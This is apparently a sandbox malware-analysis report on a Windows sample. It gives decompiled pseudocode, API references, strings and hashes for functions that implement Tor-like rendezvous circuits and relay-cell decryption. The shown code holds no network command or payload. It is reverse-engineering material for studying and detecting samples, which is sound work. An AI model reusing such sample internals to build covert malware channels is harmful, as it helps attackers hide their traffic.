				intOrPtr _t231;
				intOrPtr _t232;
				void* _t245;
				intOrPtr _t246;
				void* _t247;
				void* _t248;
				intOrPtr _t252;
				intOrPtr _t253;
				long long _t259;
				void* _t267;
				void* _t319;
				void* _t320;
				void* _t321;
				void* _t324;
				void* _t325;
				void* _t327;
				void* _t328;
				void* _t357;
				void* _t359;
				void* _t361;
				intOrPtr _t365;
				void* _t367;
				void* _t368;
				void* _t370;
				void* _t372;
				void* _t373;
				void* _t374;

				_t194 = __edi;
				 *((long long*)(_t327 + 0x20)) = __r9;
				 *((long long*)(_t327 + 0x18)) = __r8;
				 *((long long*)(_t327 + 8)) = __rcx;
				_t325 = _t327 - 0x50;
				_t328 = _t327 - 0x150;
				 *((long long*)(_t325 - 0x20)) = 0xfffffffe;
				_t368 = __rdx;
				_t252 =  *((intOrPtr*)(__rcx + 0x40));
				_t217 =  *((intOrPtr*)(__rcx + 0x48)) - _t252 >> 3;
				if (_t217 == 0) goto 0x9baa5bcc;
				_t322 =  *((intOrPtr*)( *((intOrPtr*)(_t252 + _t217 * 8 - 8)) + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t252 + _t217 * 8 - 8)) + 8)) == 0) goto 0x9baa5bcc;
				_t253 =  *((intOrPtr*)(__rdx + 0x40));
				_t221 =  *((intOrPtr*)(__rdx + 0x48)) - _t253 >> 3;
				if (_t221 == 0) goto 0x9baa5bbf;
				_t246 =  *((intOrPtr*)( *((intOrPtr*)(_t253 + _t221 * 8 - 8)) + 8));
				if (_t246 == 0) goto 0x9baa5bbf;
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "circuit::rendezvous_introduce() [or: %s, state: introducing]\n",  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t252 + _t217 * 8 - 8)) + 8)) + 0x40)));
				 *((intOrPtr*)(__rcx + 0xc)) = 9;
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "circuit::rendezvous_introduce() [or: %s, state: completing]\n",  *((intOrPtr*)(_t322 + 0x40)));
				 *((intOrPtr*)(_t368 + 0xc)) = 0xb;
				asm("inc ecx");
				asm("movdqu [esp+0x40], xmm0");
				E00007FF77FF79BAA6C44(0, _t246, _t325 + 0x28, _t328 + 0x40, _t370);
				E00007FF77FF79BAA9E50(_t246, _t246, _t328 + 0x40);
				E00007FF77FF79BAA25F4( *((intOrPtr*)(_t253 + _t221 * 8 - 8)), _t325 - 0x60, _t367);
				_t259 =  *((intOrPtr*)(_t325 - 0x58));
				 *((long long*)(_t328 + 0x50)) = 0x9bab3870;
				 *((long long*)(_t328 + 0x50)) = 0x9bab3bd8;
				 *((long long*)(_t328 + 0x58)) = _t259;
				 *((long long*)(_t328 + 0x60)) =  *((intOrPtr*)(_t325 - 0x50));
				 *((long long*)(_t328 + 0x68)) = _t259;
				_t224 = _t328 + 0x50;
				 *((long long*)(_t328 + 0x40)) = _t224;
				r12d = 1;
				 *((intOrPtr*)(_t328 + 0x48)) = r12d;
				if ( *((long long*)(_t368 + 0x30)) == 0) goto 0x9baa5822;
				_t38 = _t357 + 1; // 0x2
				E00007FF77FF79BAA1720(_t38, __edi, 0x9babd010, "circuit::rendezvous_introduce() rendezvous circuit extend node isn\'t null\n",  *((intOrPtr*)(_t322 + 0x40)));
				r8d = r12d;
				E00007FF77FF79BAA5604(_t224, _t246, 0x9babd010, _t322);
				 *((long long*)(_t328 + 0x70)) = _t224;
				 *((long long*)(_t368 + 0x30)) = _t224;
				 *((long long*)(_t328 + 0x70)) =  *((intOrPtr*)(_t368 + 0x30));
				_t43 = _t328 + 0x70; // 0x71
				E00007FF77FF79BAA6D40(_t246, _t43, _t322);
				_t226 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t368 + 0x30)) + 0x18))));
				 *((intOrPtr*)(_t226 + 8))();
				 *((long long*)(_t325 - 0x70)) =  *_t226;
				 *((long long*)(_t325 - 0x80)) =  *((intOrPtr*)(_t226 + 8));
				 *((char*)(_t328 + 0x30)) = 2;
				r15d = 0;
				_t227 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t227 + 0x40))();
				_t56 = _t227 - 1; // -1
				_t267 = _t56;
				if (_t267 - 0xfffffffd > 0) goto 0x9baa589f;
				_t372 = __r9 + _t227;
				if (_t372 - _t357 < 0) goto 0x9baa5872;
				 *((intOrPtr*)(_t328 + 0x30)) =  *((intOrPtr*)(_t246 + 0x58));
				_t59 = _t328 + 0x33; // 0x34
				 *((char*)(_t328 + _t267 + 0x70)) =  *_t59;
				if (_t267 + _t357 - 4 < 0) goto 0x9baa58ad;
				_t64 = _t328 + 0x70; // 0x71
				_t65 = _t328 + 0x40; // 0x41
				E00007FF77FF79BAA48B8(_t246, _t65, _t64, _t361, _t357);
				 *((short*)(_t328 + 0x30)) =  *(_t246 + 0x5c) & 0x0000ffff;
				_t69 = _t328 + 0x40; // 0x41
				E00007FF77FF79BAA4838(_t246, _t69, _t328 + 0x30, _t321, _t245);
				_t359 =  *((intOrPtr*)(_t246 + 0x70)) -  *((intOrPtr*)(_t246 + 0x68));
				r15d = 0;
				_t228 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t228 + 0x40))();
				_t76 = _t228 - 1; // -1
				if (_t76 - 0xfffffffd > 0) goto 0x9baa5925;
				_t373 = _t372 + _t228;
				if (_t373 - _t359 < 0) goto 0x9baa58fc;
				_t77 = _t328 + 0x70; // 0x71
				E00007FF77FF79BAA9E50(_t246, _t246, _t77);
				 *((short*)(_t328 + 0x30)) = ( *(_t228 + 8) & 0x0000ffff) -  *_t228;
				_t81 = _t328 + 0x40; // 0x41
				E00007FF77FF79BAA4838(_t246, _t81, _t328 + 0x30);
				_t82 = _t328 + 0x40; // 0x41
				E00007FF77FF79BAA9E50(_t246, _t246, _t82);
				asm("movups xmm1, [eax]");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec cx");
				_t374 = _t373 - _t359;
				_t229 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t229 + 0x40))();
				_t87 = _t229 - 1; // -1
				if (_t87 - 0xfffffffd > 0) goto 0x9baa599e;
				_t247 = _t246 + _t229;
				if (_t247 - _t374 < 0) goto 0x9baa5975;
				asm("movups xmm1, [eax]");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec cx");
				_t231 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t231 + 0x40))();
				_t93 = _t231 - 1; // -1
				if (_t93 - 0xfffffffd > 0) goto 0x9baa59e9;
				_t248 = _t247 + _t231;
				if (_t248 - _t374 - _t359 < 0) goto 0x9baa59c0;
				_t232 =  *((intOrPtr*)(_t328 + 0x50));
				 *((intOrPtr*)(_t232 + 0x40))();
				_t100 = _t232 - 1; // -1
				if (_t100 - 0xfffffffd > 0) goto 0x9baa5a1f;
				_t249 = _t248 + _t232;
				if (_t248 + _t232 -  *((intOrPtr*)(_t325 - 0x80)) -  *((intOrPtr*)(_t325 - 0x70)) < 0) goto 0x9baa59f6;
				asm("movups xmm0, [eax]");
				asm("movdqu [ebp-0x70], xmm0");
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 - 0x58));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 - 0x50));
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				_t107 = _t328 + 0x40; // 0x41
				E00007FF77FF79BAAB808(( *(_t228 + 8) & 0x0000ffff) -  *_t228, _t248 + _t232, _t325 + 8, _t107, _t320, _t322, _t325 - 0x70,  *((intOrPtr*)(_t322 + 0x40)));
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 + 0x30));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 + 0x38));
				asm("movups xmm0, [esp+0x40]");
				asm("movdqu [ebp-0x40], xmm0");
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 + 0x10));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 + 0x18));
				asm("movups xmm0, [esp+0x40]");
				asm("movdqu [ebp-0x30], xmm0");
				 *((long long*)(_t328 + 0x40)) = _t325 - 0x40;
				 *((long long*)(_t328 + 0x48)) = _t325 - 0x20;
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				_t121 = _t328 + 0x40; // 0x41
				_t319 = _t121;
				E00007FF77FF79BAA6B58(_t248 + _t232, _t325 - 0x18, _t322, _t324);
				 *((long long*)(_t328 + 0x40)) =  *((intOrPtr*)(_t325 - 0x10));
				 *((long long*)(_t328 + 0x48)) =  *((intOrPtr*)(_t325 - 8));
				asm("movaps xmm0, [esp+0x40]");
				asm("movdqa [esp+0x40], xmm0");
				 *((char*)(_t328 + 0x20)) = 3;
				_t128 = _t328 + 0x40; // 0x41
				r8b = 0x22;
				_t365 =  *((intOrPtr*)(_t325 + 0x90));
				E00007FF77FF79BAA5C58(0, 0, _t195, _t248 + _t232, _t365, _t320, _t322, _t128);
				free(??);
				free(??);
				 *((long long*)(_t328 + 0x50)) = 0x9bab3870;
				free(??);
				free(??);
				r8d = 0x7530;
				if (E00007FF77FF79BAA6248(0xa, _t248 + _t232, _t365, _t320, _t322) != 0) goto 0x9baa5bb6;
				E00007FF77FF79BAA1720(0, _t194, 0x9babd010, "circuit::rendezvous_introduce() [or: %s, state: introduced]\n",  *((intOrPtr*)(_t322 + 0x40)));
				r8d = 0x7530;
				_t168 = E00007FF77FF79BAA6248(0xc, _t249, _t368, _t320, _t322);
				E00007FF77FF79BAA6D40(_t249, _t365 + 0x30, _t319);
				if (_t168 != 0) goto 0x9baa5ba3;
				E00007FF77FF79BAA1720(0, _t194, 0x9babd010, "circuit::rendezvous_introduce() [or: %s, state: completed]\n",  *((intOrPtr*)(_t322 + 0x40)));
				goto 0x9baa5bea;
				E00007FF77FF79BAA1720(3, _t194, 0x9babd010, "circuit::rendezvous_introduce() [or: %s, is_rendezvous_completed() == false]\n",  *((intOrPtr*)(_t322 + 0x40)));
				goto 0x9baa5be8;
				goto 0x9baa5baa;
				r9d =  *((intOrPtr*)(_t319 + 8));
				goto 0x9baa5bd7;
				r9d =  *((intOrPtr*)(_t365 + 8));
				E00007FF77FF79BAA1720(3, _t194, 0x9babd010, "introduction_point is null  [circuit: %X]\n",  *((intOrPtr*)(_t322 + 0x40)));
				return 0;
			}

0x7ff79baa56b4
0x7ff79baa56b4
0x7ff79baa56b9
0x7ff79baa56be
0x7ff79baa56ce
0x7ff79baa56d3
0x7ff79baa56da
0x7ff79baa56e5
0x7ff79baa56eb
0x7ff79baa56f6
0x7ff79baa56fd
0x7ff79baa5708
0x7ff79baa570f
0x7ff79baa5715
0x7ff79baa5720
0x7ff79baa5727
0x7ff79baa5732
0x7ff79baa5739
0x7ff79baa5753
0x7ff79baa5758
0x7ff79baa5774
0x7ff79baa5779
0x7ff79baa5781
0x7ff79baa5785
0x7ff79baa5794
0x7ff79baa57a2
0x7ff79baa57b9
0x7ff79baa57bf
0x7ff79baa57ce
0x7ff79baa57da
0x7ff79baa57df
0x7ff79baa57e4
0x7ff79baa57e9
0x7ff79baa57ee
0x7ff79baa57f3
0x7ff79baa57f8
0x7ff79baa57fe
0x7ff79baa5808
0x7ff79baa5811
0x7ff79baa581d
0x7ff79baa5822
0x7ff79baa5828
0x7ff79baa582d
0x7ff79baa5836
0x7ff79baa583a
0x7ff79baa583f
0x7ff79baa5844
0x7ff79baa5851
0x7ff79baa5858
0x7ff79baa585e
0x7ff79baa5866
0x7ff79baa586a
0x7ff79baa586f
0x7ff79baa5872
0x7ff79baa588a
0x7ff79baa588d
0x7ff79baa588d
0x7ff79baa5895
0x7ff79baa5897
0x7ff79baa589d
0x7ff79baa58a2
0x7ff79baa58a8
0x7ff79baa58af
0x7ff79baa58bd
0x7ff79baa58c7
0x7ff79baa58cc
0x7ff79baa58d1
0x7ff79baa58da
0x7ff79baa58e4
0x7ff79baa58e9
0x7ff79baa58f6
0x7ff79baa58f9
0x7ff79baa58fc
0x7ff79baa5910
0x7ff79baa5913
0x7ff79baa591b
0x7ff79baa591d
0x7ff79baa5923
0x7ff79baa5925
0x7ff79baa592d
0x7ff79baa5939
0x7ff79baa5943
0x7ff79baa5948
0x7ff79baa594d
0x7ff79baa5955
0x7ff79baa595a
0x7ff79baa595d
0x7ff79baa5961
0x7ff79baa5966
0x7ff79baa596b
0x7ff79baa5970
0x7ff79baa5975
0x7ff79baa5989
0x7ff79baa598c
0x7ff79baa5994
0x7ff79baa5996
0x7ff79baa599c
0x7ff79baa59a5
0x7ff79baa59a8
0x7ff79baa59ac
0x7ff79baa59b1
0x7ff79baa59b6
0x7ff79baa59c0
0x7ff79baa59d4
0x7ff79baa59d7
0x7ff79baa59df
0x7ff79baa59e1
0x7ff79baa59e7
0x7ff79baa59f6
0x7ff79baa5a0a
0x7ff79baa5a0d
0x7ff79baa5a15
0x7ff79baa5a17
0x7ff79baa5a1d
0x7ff79baa5a26
0x7ff79baa5a29
0x7ff79baa5a32
0x7ff79baa5a3b
0x7ff79baa5a40
0x7ff79baa5a45
0x7ff79baa5a4f
0x7ff79baa5a58
0x7ff79baa5a62
0x7ff79baa5a6b
0x7ff79baa5a70
0x7ff79baa5a75
0x7ff79baa5a7e
0x7ff79baa5a87
0x7ff79baa5a8c
0x7ff79baa5a91
0x7ff79baa5a9a
0x7ff79baa5aa3
0x7ff79baa5aa8
0x7ff79baa5aad
0x7ff79baa5ab3
0x7ff79baa5ab3
0x7ff79baa5abc
0x7ff79baa5ac6
0x7ff79baa5acf
0x7ff79baa5ad4
0x7ff79baa5ad9
0x7ff79baa5ae1
0x7ff79baa5ae6
0x7ff79baa5aeb
0x7ff79baa5aee
0x7ff79baa5af8
0x7ff79baa5b02
0x7ff79baa5b0d
0x7ff79baa5b1b
0x7ff79baa5b24
0x7ff79baa5b2f
0x7ff79baa5b3a
0x7ff79baa5b57
0x7ff79baa5b62
0x7ff79baa5b67
0x7ff79baa5b72
0x7ff79baa5b7d
0x7ff79baa5b8f
0x7ff79baa5b9a
0x7ff79baa5ba1
0x7ff79baa5baf
0x7ff79baa5bb4
0x7ff79baa5bbd
0x7ff79baa5bbf
0x7ff79baa5bca
0x7ff79baa5bcc
0x7ff79baa5be3
0x7ff79baa5bfc

APIs

Part of subcall function 00007FF79BAA1720: GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
Part of subcall function 00007FF79BAA1720: GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
Part of subcall function 00007FF79BAA1720: _cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

Part of subcall function 00007FF79BAA6C44: CryptHashData.ADVAPI32 ref: 00007FF79BAA6C91
Part of subcall function 00007FF79BAA6C44: CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA6CB6

free.MSVCRT ref: 00007FF79BAA5B02
free.MSVCRT ref: 00007FF79BAA5B0D
free.MSVCRT ref: 00007FF79BAA5B24
free.MSVCRT ref: 00007FF79BAA5B2F

Strings

circuit::rendezvous_introduce() [or: %s, state: completed], xrefs: 00007FF79BAA5B91
circuit::rendezvous_introduce() rendezvous circuit extend node isn't null, xrefs: 00007FF79BAA580A
introducee is null [circuit: %X], xrefs: 00007FF79BAA5BC3
circuit::rendezvous_introduce() [or: %s, state: introduced], xrefs: 00007FF79BAA5B59
circuit::rendezvous_introduce() [or: %s, is_rendezvous_completed() == false], xrefs: 00007FF79BAA5BA3
circuit::rendezvous_introduce() [or: %s, state: completing], xrefs: 00007FF79BAA5764
introduction_point is null [circuit: %X], xrefs: 00007FF79BAA5BD0
circuit::rendezvous_introduce() [or: %s, state: introducing], xrefs: 00007FF79BAA5743
circuit::rendezvous_introduce() [or: %s, is_rendezvous_introduced() == false], xrefs: 00007FF79BAA5BB6

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptHash$CurrentDataDestroyLocalThreadTime_cwprintf_s_l
String ID: circuit::rendezvous_introduce() [or: %s, is_rendezvous_completed() == false]$circuit::rendezvous_introduce() [or: %s, is_rendezvous_introduced() == false]$circuit::rendezvous_introduce() [or: %s, state: completed]$circuit::rendezvous_introduce() [or: %s, state: completing]$circuit::rendezvous_introduce() [or: %s, state: introduced]$circuit::rendezvous_introduce() [or: %s, state: introducing]$circuit::rendezvous_introduce() rendezvous circuit extend node isn't null$introducee is null [circuit: %X]$introduction_point is null [circuit: %X]
API String ID: 3705592166-1875301337
Opcode ID: 97c18123fe8ed350398c66160d61f3cf006834f16a0f0038b82c7ab1ccef92a6
Instruction ID: 17f473aa272e7e84440ae991b3b51cd8ca7a7e915486b0e3d56287ba535dda3e
Opcode Fuzzy Hash: 97c18123fe8ed350398c66160d61f3cf006834f16a0f0038b82c7ab1ccef92a6
Instruction Fuzzy Hash: 91F1C322A18B8982EB10DF78E8405ADF3A1FB85794F804236EB9D177A5EF3CD645C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA64C0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 133
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00007FF77FF79BAA64C0(void* __edx, void* __edi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r9) {
				void* _t51;
				void* _t58;
				void* _t66;
				long long _t80;
				intOrPtr* _t100;
				void* _t104;
				void* _t106;
				void* _t107;
				void* _t112;
				long long _t114;
				void* _t116;
				intOrPtr _t117;

				_t112 = __r9;
				_t75 = __rbx;
				_t58 = __edx;
				_t66 = _t107;
				_t106 = _t66 - 0x5f;
				 *((long long*)(_t106 + 7)) = 0xfffffffe;
				 *((long long*)(_t66 + 0x10)) = __rbx;
				 *((long long*)(_t66 + 0x18)) = __rsi;
				 *((long long*)(_t66 + 0x20)) = __rdi;
				_t116 = __rdx;
				_t104 = __rcx;
				_t100 =  *((intOrPtr*)(__rcx + 0x40));
				_t117 =  *((intOrPtr*)(__rcx + 0x48));
				if (_t100 == _t117) goto 0x9baa6621;
				r12d = 0;
				 *((long long*)(_t106 - 0x49)) =  *((intOrPtr*)(__rdx + 0x10));
				 *((long long*)(_t106 - 0x41)) =  *((intOrPtr*)(__rdx + 0x18));
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x79], xmm0");
				E00007FF77FF79BAA7EA4(_t106 - 0x19);
				 *((long long*)(_t106 - 0x39)) =  *((intOrPtr*)(_t106 - 0x11));
				 *((long long*)(_t106 - 0x31)) =  *((intOrPtr*)(_t106 - 9));
				asm("movaps xmm0, [ebp-0x39]");
				asm("movdqa [ebp-0x79], xmm0");
				E00007FF77FF79BAA4604(__rdx);
				_t80 =  *((intOrPtr*)(_t116 + 0x10));
				if ( *((intOrPtr*)(_t80 + 1)) != r12w) goto 0x9baa660a;
				 *((long long*)(_t106 - 0x29)) = _t80;
				 *((long long*)(_t106 - 0x21)) =  *((intOrPtr*)(_t116 + 0x18));
				asm("movaps xmm0, [ebp-0x29]");
				asm("movdqa [ebp-0x79], xmm0");
				_t51 = E00007FF77FF79BAA480C( *((intOrPtr*)(_t116 + 0x18)), _t106 - 0x69, _t106 - 0x79);
				 *((intOrPtr*)( *((intOrPtr*)(_t106 - 0x61)) + 5)) = 0;
				E00007FF77FF79BAA7C94(_t51,  *((intOrPtr*)( *_t100 + 0x10)) + 0xd8, _t106 + 0x67);
				r8d =  *((intOrPtr*)(_t106 - 0x59));
				r8d = r8d - _t58;
				r9d = 0;
				__imp__CryptHashData();
				E00007FF77FF79BAA7188( *((intOrPtr*)(_t80 + 1)) - r12w, __rbx, _t106 + 0x67, _t106 + 0xf, _t106 - 0x79);
				if ( *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x17)))) ==  *((intOrPtr*)( *((intOrPtr*)(_t116 + 0x10)) + 5))) goto 0x9baa6662;
				free(??);
				if ( *((intOrPtr*)(_t106 + 0x67)) == 0) goto 0x9baa65ff;
				__imp__CryptDestroyHash();
				 *((long long*)(_t106 + 0x67)) = _t114;
				free(??);
				free(??);
				if (_t100 + 8 != _t117) goto 0x9baa6505;
				E00007FF77FF79BAA1720(3, __edi, 0x9babd010, "circuit::handle_cell() cannot decrypt relay cell, destroying circuit\n", _t112);
				return E00007FF77FF79BAA5038(_t75, _t104, _t106 + 0xf, _t104);
			}

0x7ff79baa64c0
0x7ff79baa64c0
0x7ff79baa64c0
0x7ff79baa64c0
0x7ff79baa64cc
0x7ff79baa64d7
0x7ff79baa64df
0x7ff79baa64e3
0x7ff79baa64e7
0x7ff79baa64eb
0x7ff79baa64ee
0x7ff79baa64f1
0x7ff79baa64f5
0x7ff79baa64fc
0x7ff79baa6502
0x7ff79baa6518
0x7ff79baa651c
0x7ff79baa6520
0x7ff79baa6524
0x7ff79baa6531
0x7ff79baa653b
0x7ff79baa6543
0x7ff79baa6547
0x7ff79baa654b
0x7ff79baa6557
0x7ff79baa655c
0x7ff79baa6565
0x7ff79baa656f
0x7ff79baa6573
0x7ff79baa6577
0x7ff79baa657b
0x7ff79baa6588
0x7ff79baa6594
0x7ff79baa65a9
0x7ff79baa65af
0x7ff79baa65b7
0x7ff79baa65ba
0x7ff79baa65c1
0x7ff79baa65cf
0x7ff79baa65db
0x7ff79baa65e5
0x7ff79baa65f3
0x7ff79baa65f5
0x7ff79baa65fb
0x7ff79baa6603
0x7ff79baa660e
0x7ff79baa661b
0x7ff79baa6634
0x7ff79baa6661

APIs

Part of subcall function 00007FF79BAA4604: free.MSVCRT ref: 00007FF79BAA4668

CryptHashData.ADVAPI32 ref: 00007FF79BAA65C1

Part of subcall function 00007FF79BAA7188: CryptGetHashParam.ADVAPI32 ref: 00007FF79BAA71DD

free.MSVCRT ref: 00007FF79BAA65E5
CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA65F5
free.MSVCRT ref: 00007FF79BAA6603
free.MSVCRT ref: 00007FF79BAA660E
CryptHashData.ADVAPI32 ref: 00007FF79BAA6677
free.MSVCRT ref: 00007FF79BAA6682
CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA6692
free.MSVCRT ref: 00007FF79BAA66A0
free.MSVCRT ref: 00007FF79BAA66AB

Part of subcall function 00007FF79BAA7C94: CryptDuplicateHash.ADVAPI32 ref: 00007FF79BAA7CBE

Strings

circuit::handle_cell() cannot decrypt relay cell, destroying circuit, xrefs: 00007FF79BAA6621

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CryptHash$DataDestroy$DuplicateParam
String ID: circuit::handle_cell() cannot decrypt relay cell, destroying circuit
API String ID: 129615695-1619389320
Opcode ID: b08de4cf301ceb97a05c9742a8f564e99fcad656c4f5b032f7691cc57b6ac967
Instruction ID: 6c4e533692704e12f4d36e052557a64c1c17c4fc2819c6b3c8eb6bcc3f32df3e
Opcode Fuzzy Hash: b08de4cf301ceb97a05c9742a8f564e99fcad656c4f5b032f7691cc57b6ac967
Instruction Fuzzy Hash: 8E513A72B04B4599EB20EF79D8509AC7375FB49B98B404132DE1D23B68DF34E646C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA8EE0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 170
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF79BAA8EE0(void* __ecx, void* __edi, void* __esi, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, void* __r9) {
				void* _t61;
				void* _t66;
				void* _t75;
				void* _t76;
				void* _t99;
				signed long long _t107;
				signed long long _t111;
				signed long long _t113;
				long long _t115;
				intOrPtr* _t151;
				void* _t153;
				void* _t154;
				void* _t164;
				void* _t166;
				signed long long _t170;
				intOrPtr _t176;
				intOrPtr _t177;

				_t164 = __r9;
				_t108 = __rbx;
				_t87 = __edi;
				_t75 = __ecx;
				_t99 = _t154;
				_t153 = _t99 - 0x5f;
				 *((long long*)(_t153 - 0x59)) = 0xfffffffe;
				 *((long long*)(_t99 + 0x10)) = __rbx;
				 *((long long*)(_t99 + 0x18)) = __rsi;
				 *((long long*)(_t99 + 0x20)) = __rdi;
				_t151 = __rcx;
				 *((long long*)(__rcx + 0x68)) =  *((intOrPtr*)(__rcx + 0x60));
				asm("xorps xmm0, xmm0");
				asm("movdqu [ebp-0x49], xmm0");
				 *((long long*)(_t153 - 0x39)) = __rbx;
				asm("movdqu [ebp-0x29], xmm0");
				 *((long long*)(_t153 - 0x19)) = __rbx;
				asm("movdqu [ebp-0x9], xmm0");
				 *((long long*)(_t153 + 7)) = __rbx;
				_t13 = _t108 + 0x20; // 0x20
				 *((short*)(_t153 + 0xf)) = _t13;
				_t15 = _t153 - 0x51; // 0x7ff79baa4ced
				_t16 = _t153 - 0x79; // 0x7ff79baa4cc5
				E00007FF77FF79BAA83D4(__rbx,  *((intOrPtr*)(__rcx + 0x10)), _t16, _t15);
				free(??);
				free(??);
				free(??);
				r12b = 0;
				r8b = r12b;
				_t20 = _t153 + 0x17; // 0x7ff79baa4d55
				_t61 = E00007FF77FF79BAA9268(_t76, _t108, _t151, _t20, __rdi, _t151);
				_t21 = _t153 - 0x71; // 0xd9f748ff418d48c8
				_t177 =  *_t21;
				_t22 = _t153 - 0x69; // 0x349d02348d21b48
				_t111 =  *_t22 - _t177 >> 3;
				if (_t111 <= 0) goto 0x9baa8fe9;
				_t170 = _t111 >> 1;
				 *((long long*)(_t153 + 0x67)) = _t177 + _t170 * 8;
				_t28 = _t153 + 0x1f; // 0xbbd08b48fffffc87
				0x9bab024d();
				if (_t61 >= 0) goto 0x9baa8fdd;
				goto 0x9baa8fe0;
				_t113 = _t170;
				if (_t113 > 0) goto 0x9baa8fa0;
				E00007FF77FF79BAA89E4(_t113, _t151 + 0x58, _t177 +  *_t28 * 8, _t151);
				if (_t113 + 1 - 3 >= 0) goto 0x9baa9024;
				goto 0x9baa8ff5;
				free(??);
				r12b = r12b + 1;
				if (r12b - 2 < 0) goto 0x9baa8f76;
				free(??);
				_t107 =  *((intOrPtr*)(_t151 + 0x68)) -  *((intOrPtr*)(_t151 + 0x60));
				if ((_t107 & 0xfffffff8) == 0) goto 0x9baa912d;
				_t115 = _t151 + 0x98;
				__imp__CryptGenRandom();
				_t176 =  *_t151;
				 *((long long*)(_t153 - 0x79)) = _t115;
				 *((long long*)(_t153 - 0x71)) = _t115 + 0x14;
				r9d =  *((intOrPtr*)(_t176 + 8));
				E00007FF77FF79BAA1720(0, __edi, 0x9babd010, "circuit::rendezvous_establish() [circuit: %X, state: establishing]\n", _t164);
				 *((intOrPtr*)(_t176 + 0xc)) = 7;
				asm("movaps xmm0, [ebp-0x79]");
				asm("movdqa [ebp-0x79], xmm0");
				 *((char*)(_t154 - 0xe0 + 0x20)) = 3;
				_t53 = _t153 - 0x79; // 0x7ff79baa4cc5
				r8b = 0x21;
				E00007FF77FF79BAA5C58(_t75, 0, __esi, 0x9babd010, _t176, _t115 + 0x14, _t151, _t53);
				r8d = 0x7530;
				_t66 = E00007FF77FF79BAA6248(8, 0x9babd010, _t176, _t115 + 0x14, _t151);
				r9d =  *((intOrPtr*)(_t176 + 8));
				if (_t66 != 0) goto 0x9baa911c;
				E00007FF77FF79BAA1720(0, _t87, 0x9babd010, "circuit::rendezvous_establish() [circuit: %X, state: established]\n", _t53);
				goto 0x9baa9105;
				if (E00007FF77FF79BAA996C(_t87, 0x9babd010, _t151, _t115 + 0x14, _t151) != 0) goto 0x9baa9118;
				E00007FF77FF79BAA9354(0x9babd010, _t151, 0x9babd010, _t115 + 0x14, _t151, _t53, _t166);
				if (_t107 != 0xffffffff) goto 0x9baa90f6;
				goto 0x9baa912d;
				goto 0x9baa912f;
				E00007FF77FF79BAA1720(3, _t87, _t151, "circuit::rendezvous_establish() [circuit: %X, state: not established]\n", _t53);
				return 0;
			}

0x7ff79baa8ee0
0x7ff79baa8ee0
0x7ff79baa8ee0
0x7ff79baa8ee0
0x7ff79baa8ee0
0x7ff79baa8eec
0x7ff79baa8ef7
0x7ff79baa8eff
0x7ff79baa8f03
0x7ff79baa8f07
0x7ff79baa8f0b
0x7ff79baa8f16
0x7ff79baa8f1e
0x7ff79baa8f21
0x7ff79baa8f28
0x7ff79baa8f2c
0x7ff79baa8f31
0x7ff79baa8f35
